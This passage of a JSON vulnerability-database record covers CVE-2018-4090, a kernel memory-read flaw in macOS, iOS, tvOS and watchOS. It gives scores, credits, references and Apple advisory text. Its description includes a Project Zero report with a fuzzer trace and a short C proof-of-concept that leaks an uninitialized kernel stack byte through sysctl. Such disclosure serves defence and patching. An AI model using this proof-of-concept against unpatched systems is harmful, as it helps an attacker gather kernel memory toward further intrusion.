"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "4.2.6"
},
{
"model": "tvos",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "9.0"
},
{
"model": "ios",
"scope": "eq",
"trust": 0.3,
"vendor": "apple",
"version": "7.0.1"
}
],
"sources": [
{
"db": "BID",
"id": "102782"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:apple:mac_os_x",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:apple:iphone_os",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:apple:apple_tv",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:apple:watchos",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and Taekyoung Kwon of the Information Security Lab, Yonsei University,Jann Horn of Google Project Zero, an anonymous researcher, Russ Cox of Google, Jann Horn of Google Project Zero, Ret2 Systems Inc. work",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
}
],
"trust": 0.6
},
"cve": "CVE-2018-4090",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CVE-2018-4090",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-134121",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.8,
"id": "CVE-2018-4090",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-4090",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2018-4090",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNNVD",
"id": "CNNVD-201801-1099",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-134121",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2018-4090",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the \"Kernel\" component. It allows attackers to bypass intended memory-read restrictions via a crafted app. plural Apple A vulnerability exists in the product kernel component that bypasses memory read restrictions.An attacker could bypass the memory read limit through a crafted application. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities. \nAn attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system. watchOS is a smart watch operating system. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. MacOS sysctl_vfs_generic_conf stack leak through struct padding \n\nCVE-2018-4090\n\n\nThe sysctls vfs.generic.conf.* are handled by sysctl_vfs_generic_conf(), which is implemented as follows:\n\nstatic int\nsysctl_vfs_generic_conf SYSCTL_HANDLER_ARGS\n{\n int *name, namelen;\n struct vfstable *vfsp;\n struct vfsconf vfsc;\n \n (void)oidp;\n name = arg1;\n namelen = arg2;\n \n [check for namelen==1]\n \n mount_list_lock();\n for (vfsp = vfsconf; vfsp; vfsp = vfsp-\u003evfc_next)\n if (vfsp-\u003evfc_typenum == name[0])\n break;\n \n if (vfsp == NULL) {\n mount_list_unlock();\n return (ENOTSUP);\n }\n \n vfsc.vfc_reserved1 = 0;\n bcopy(vfsp-\u003evfc_name, vfsc.vfc_name, sizeof(vfsc.vfc_name));\n vfsc.vfc_typenum = vfsp-\u003evfc_typenum;\n vfsc.vfc_refcount = vfsp-\u003evfc_refcount;\n vfsc.vfc_flags = vfsp-\u003evfc_flags;\n vfsc.vfc_reserved2 = 0;\n vfsc.vfc_reserved3 = 0;\n \n mount_list_unlock();\n return (SYSCTL_OUT(req, \u0026vfsc, sizeof(struct vfsconf)));\n}\n\n`struct vfsconf` is defined as follows:\n\nstruct vfsconf {\n uint32_t vfc_reserved1; /* opaque */\n char vfc_name[MFSNAMELEN]; /* filesystem type name */\n int vfc_typenum; /* historic filesystem type number */\n int vfc_refcount; /* number mounted of this type */\n int vfc_flags; /* permanent flags */\n uint32_t vfc_reserved2; /* opaque */\n uint32_t vfc_reserved3; /* opaque */\n};\n\n`MFSNAMELEN` is defined as follows:\n\n#define MFSNAMELEN 15 /* length of fs type name, not inc. null */\n#define MFSTYPENAMELEN 16 /* length of fs type name including null */\n\nThis means that one byte of uninitialized padding exists between `vfc_name` and `vfc_typenum`. This is the diff of two runs over the fuzzer queue with different stack poison values (0xcc and 0xdd):\n\n--- traces_cc_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:41.486752415 +0100\n+++ traces_dd_/id:018803,src:012522,op:havoc,rep:2,+cov 2017-11-06 13:08:56.583413293 +0100\n@@ -1,19 +1,19 @@\n loaded 72 bytes fuzzdata\n USER READ: addr 0xffffffffffffffff, size 8, value 0x00000600020000ca\n USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000003\n USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000004\n USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000060000\n USER READ: addr 0xffffffffffffffff, size 8, value 0x00ea800500000010\n USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000010003\n USER READ: addr 0xffffffffffffffff, size 8, value 0x0000000000000000\n syscall(rax=0x600020000ca, args=[0x3, 0x4, 0x60000, 0xea800500000010, 0x10003, 0x0]); rsp=0x7ffee418eda8\n USER READ: addr 0x3, size 8, value 0x0000000000000003\n USER READ: addr 0xb, size 8, value 0x0000001700000002\n USER WRITE: addr 0x60000, size 8, value 0x0073666800000000\n USER WRITE: addr 0x60008, size 8, value 0x0000000000000000\n-USER WRITE: addr 0x60010, size 8, value 0x00000017cc000000\n+USER WRITE: addr 0x60010, size 8, value 0x00000017dd000000\n USER WRITE: addr 0x60018, size 8, value 0x0000100000000001\n USER WRITE: addr 0x60020, size 8, value 0x0000000000000000\n sysret\n OUT OF FUZZER INPUT DATA - REWINDING\n REWIND! (trigger_exception=0x10006; cycles=7)\n\nVerified on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:\n\n$ cat sysctl_conf_test.c\n#include \u003cstdlib.h\u003e\n#include \u003cerr.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/sysctl.h\u003e\n#include \u003csys/mount.h\u003e\n\nstruct vfsconf_withpad {\n int reserved1;\n char name[15];\n unsigned char pad1;\n int typenum;\n int refcount;\n int flags;\n int reserved2;\n int reserved3;\n};\n\nint main(void) {\n int name[] = { CTL_VFS, VFS_GENERIC, VFS_CONF, 0x17 };\n static struct vfsconf_withpad conf;\n size_t outlen = sizeof(conf);\n if (sysctl(name, sizeof(name)/sizeof(name[0]), \u0026conf, \u0026outlen, NULL, 0))\n err(1, \"sysctl\");\n if (outlen != sizeof(conf))\n errx(1, \"outlen != sizeof(conf)\");\n printf(\"name=%.15s pad1=0x%02hhx typenum=%d refcount=%d flags=%d\\n\",\n conf.name, conf.pad1, conf.typenum, conf.refcount, conf.flags);\n}\n$ gcc -o sysctl_conf_test sysctl_conf_test.c -Wall\n$ ./sysctl_conf_test\nname=hfs pad1=0x24 typenum=23 refcount=2 flags=4096\n$ ./sysctl_conf_test\nname=hfs pad1=0x26 typenum=23 refcount=2 flags=4096\n$ ./sysctl_conf_test\nname=hfs pad1=0x24 typenum=23 refcount=2 flags=4096\n$ ./sysctl_conf_test\nname=hfs pad1=0x23 typenum=23 refcount=2 flags=4096\n$ ./sysctl_conf_test\nname=hfs pad1=0x23 typenum=23 refcount=2 flags=4096\n$ ./sysctl_conf_test\nname=hfs pad1=0x26 typenum=23 refcount=2 flags=4096\n\n\nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse\nor a patch has been made broadly available, the bug report will become\nvisible to the public. \n\n\n\n\nFound by: jannh\n\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAPPLE-SA-2018-1-23-1 iOS 11.2.5\n\niOS 11.2.5 is now available and addresses the following:\n\nAudio\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: Processing a maliciously crafted audio file may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed through improved\ninput validation. \nCVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and\nTaekyoung Kwon of the Information Security Lab, Yonsei University\n\nCore Bluetooth\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: An application may be able to execute arbitrary code with\nsystem privileges\nDescription: A memory corruption issue was addressed with improved\nmemory handling. \nCVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team\nCVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team\n\nKernel\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: An application may be able to read restricted memory\nDescription: A memory initialization issue was addressed through\nimproved memory handling. \nCVE-2018-4090: Jann Horn of Google Project Zero\n\nKernel\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: An application may be able to read restricted memory\nDescription: A race condition was addressed through improved locking. \nCVE-2018-4092: an anonymous researcher\n\nKernel\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: A malicious application may be able to execute arbitrary code\nwith kernel privileges\nDescription: A memory corruption issue was addressed through improved\ninput validation. \nCVE-2018-4082: Russ Cox of Google\n\nKernel\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: An application may be able to read restricted memory\nDescription: A validation issue was addressed with improved input\nsanitization. \nCVE-2018-4093: Jann Horn of Google Project Zero\n\nLinkPresentation\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: Processing a maliciously crafted text message may lead to\napplication denial of service\nDescription: A resource exhaustion issue was addressed through\nimproved input validation. \nCVE-2018-4100: Abraham Masri (@cheesecakeufo)\n\nQuartzCore\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the processing of\nweb content. This issue was addressed through improved input\nvalidation. \nCVE-2018-4085: Ret2 Systems Inc. working with Trend Micro\u0027s Zero Day\nInitiative\n\nSecurity\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: A certificate may have name constraints applied incorrectly\nDescription: A certificate evaluation issue existed in the handling\nof name constraints. This issue was addressed through improved trust\nevaluation of certificates. \nCVE-2018-4086: Ian Haken of Netflix\n\nWebKit\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod\ntouch 6th generation\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: Multiple memory corruption issues were addressed with\nimproved memory handling. \nCVE-2018-4088: Jeonghoon Shin of Theori\nCVE-2018-4089: Ivan Fratric of Google Project Zero\nCVE-2018-4096: found by OSS-Fuzz\n\nInstallation note:\n\nThis update is available through iTunes and Software Update on your\niOS device, and will not appear in your computer\u0027s Software Update\napplication, or in the Apple Downloads site. Make sure you have an\nInternet connection and have installed the latest version of iTunes\nfrom https://www.apple.com/itunes/\n\niTunes and Software Update on the device will automatically check\nApple\u0027s update server on its weekly schedule. When an update is\ndetected, it is downloaded and the option to be installed is\npresented to the user when the iOS device is docked. We recommend\napplying the update immediately if possible. Selecting Don\u0027t Install\nwill present the option the next time you connect your iOS device. \n\nThe automatic update process may take up to a week depending on the\nday that iTunes or the device checks for updates. You may manually\nobtain the update via the Check for Updates button within iTunes, or\nthe Software Update on your device. \n\nTo check that the iPhone, iPod touch, or iPad has been updated:\n\n* Navigate to Settings\n* Select General\n* Select About. The version after applying this update\nwill be \"11.2.5\". \n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\n\niQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt\nc2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA\ny2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv\nSjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g\nBtt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2\n7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1\nIQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi\n1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A\n/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv\nNSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH\nHDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy\nkm/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm\npp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=\n=F6+9\n-----END PGP SIGNATURE-----\n. \nCVE-2018-4098: Siguza\n\nKernel\nAvailable for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6\nImpact: An application may be able to read kernel memory (Meltdown)\nDescription: Systems with microprocessors utilizing speculative\nexecution and indirect branch prediction may allow unauthorized\ndisclosure of information to an attacker with local user access via\na side-channel analysis of the data cache. \nCVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of\nGraz University of Technology; Michael Schwarz of Graz University of\nTechnology; Daniel Gruss of Graz University of Technology;\nThomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus\nTechnology GmbH; Stefan Mangard of Graz University of Technology;\nPaul Kocher; Daniel Genkin of University of Pennsylvania and\nUniversity of Maryland; Yuval Yarom of University of Adelaide and\nData61; and Mike Hamburg of Rambus (Cryptography Research Division)\n\nKernel\nAvailable for: macOS High Sierra 10.13.2\nImpact: An application may be able to read restricted memory\nDescription: A memory initialization issue was addressed through\nimproved memory handling. \nCVE-2018-4097: Resecurity, Inc. \n\nAlternatively, on your watch, select \"My Watch \u003e General \u003e About\"",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-4090"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "BID",
"id": "102782"
},
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "PACKETSTORM",
"id": "146140"
},
{
"db": "PACKETSTORM",
"id": "146066"
},
{
"db": "PACKETSTORM",
"id": "146067"
},
{
"db": "PACKETSTORM",
"id": "146082"
},
{
"db": "PACKETSTORM",
"id": "146083"
}
],
"trust": 2.52
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-134121",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=43923",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-4090",
"trust": 3.4
},
{
"db": "BID",
"id": "102782",
"trust": 2.1
},
{
"db": "SECTRACK",
"id": "1040267",
"trust": 1.2
},
{
"db": "SECTRACK",
"id": "1040265",
"trust": 1.2
},
{
"db": "EXPLOIT-DB",
"id": "43923",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU99446427",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099",
"trust": 0.7
},
{
"db": "PACKETSTORM",
"id": "146140",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-134121",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-4090",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "146066",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "146067",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "146082",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "146083",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "BID",
"id": "102782"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "PACKETSTORM",
"id": "146140"
},
{
"db": "PACKETSTORM",
"id": "146066"
},
{
"db": "PACKETSTORM",
"id": "146067"
},
{
"db": "PACKETSTORM",
"id": "146082"
},
{
"db": "PACKETSTORM",
"id": "146083"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"id": "VAR-201804-1204",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
}
],
"trust": 0.01
},
"last_update_date": "2024-11-23T21:25:26.190000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "HT208462",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT208462"
},
{
"title": "HT208463",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT208463"
},
{
"title": "HT208464",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT208464"
},
{
"title": "HT208465",
"trust": 0.8,
"url": "https://support.apple.com/en-us/HT208465"
},
{
"title": "HT208462",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT208462"
},
{
"title": "HT208463",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT208463"
},
{
"title": "HT208464",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT208464"
},
{
"title": "HT208465",
"trust": 0.8,
"url": "https://support.apple.com/ja-jp/HT208465"
},
{
"title": "Multiple Apple product Kernel Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=78171"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2018/01/24/apple_ios_macos_patches/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.9,
"url": "http://www.securityfocus.com/bid/102782"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht208462"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht208463"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht208464"
},
{
"trust": 1.8,
"url": "https://support.apple.com/ht208465"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/43923/"
},
{
"trust": 1.3,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4090"
},
{
"trust": 1.2,
"url": "http://www.securitytracker.com/id/1040265"
},
{
"trust": 1.2,
"url": "http://www.securitytracker.com/id/1040267"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-4090"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu99446427/index.html"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4085"
},
{
"trust": 0.4,
"url": "https://support.apple.com/kb/ht201222"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4093"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4094"
},
{
"trust": 0.4,
"url": "https://www.apple.com/support/security/pgp/"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4096"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4086"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4088"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4082"
},
{
"trust": 0.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4092"
},
{
"trust": 0.3,
"url": "https://www.apple.com/"
},
{
"trust": 0.3,
"url": "http://www.apple.com/ios/"
},
{
"trust": 0.3,
"url": "http://www.apple.com/accessibility/tvos/"
},
{
"trust": 0.3,
"url": "http://www.apple.com/watchos-2/"
},
{
"trust": 0.3,
"url": "https://lists.apple.com/archives/security-announce/2018/jan/msg00000.html"
},
{
"trust": 0.3,
"url": "https://lists.apple.com/archives/security-announce/2018/jan/msg00001.html"
},
{
"trust": 0.3,
"url": "https://lists.apple.com/archives/security-announce/2018/jan/msg00002.html"
},
{
"trust": 0.3,
"url": "https://lists.apple.com/archives/security-announce/2018/jan/msg00003.html"
},
{
"trust": 0.3,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4087"
},
{
"trust": 0.3,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4095"
},
{
"trust": 0.3,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4100"
},
{
"trust": 0.3,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4089"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://tools.cisco.com/security/center/viewalert.x?alertid=56559"
},
{
"trust": 0.1,
"url": "https://www.apple.com/itunes/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4097"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4084"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8817"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4098"
},
{
"trust": 0.1,
"url": "https://support.apple.com/downloads/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-4091"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-5754"
},
{
"trust": 0.1,
"url": "https://support.apple.com/kb/ht204641"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "BID",
"id": "102782"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "PACKETSTORM",
"id": "146140"
},
{
"db": "PACKETSTORM",
"id": "146066"
},
{
"db": "PACKETSTORM",
"id": "146067"
},
{
"db": "PACKETSTORM",
"id": "146082"
},
{
"db": "PACKETSTORM",
"id": "146083"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-134121"
},
{
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"db": "BID",
"id": "102782"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"db": "PACKETSTORM",
"id": "146140"
},
{
"db": "PACKETSTORM",
"id": "146066"
},
{
"db": "PACKETSTORM",
"id": "146067"
},
{
"db": "PACKETSTORM",
"id": "146082"
},
{
"db": "PACKETSTORM",
"id": "146083"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-1099"
},
{
"db": "NVD",
"id": "CVE-2018-4090"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-04-03T00:00:00",
"db": "VULHUB",
"id": "VHN-134121"
},
{
"date": "2018-04-03T00:00:00",
"db": "VULMON",
"id": "CVE-2018-4090"
},
{
"date": "2018-01-23T00:00:00",
"db": "BID",
"id": "102782"
},
{
"date": "2018-06-04T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-003723"
},
{
"date": "2018-01-27T14:44:44",
"db": "PACKETSTORM",
"id": "146140"
},
{
"date": "2018-01-24T16:56:42",
"db": "PACKETSTORM",
"id": "146066"
},
{
"date": "2018-01-24T16:59:41",
"db": "PACKETSTORM",
"id": "146067"
},
{
"date": "2018-01-25T01:49:38",
"db": "PACKETSTORM",
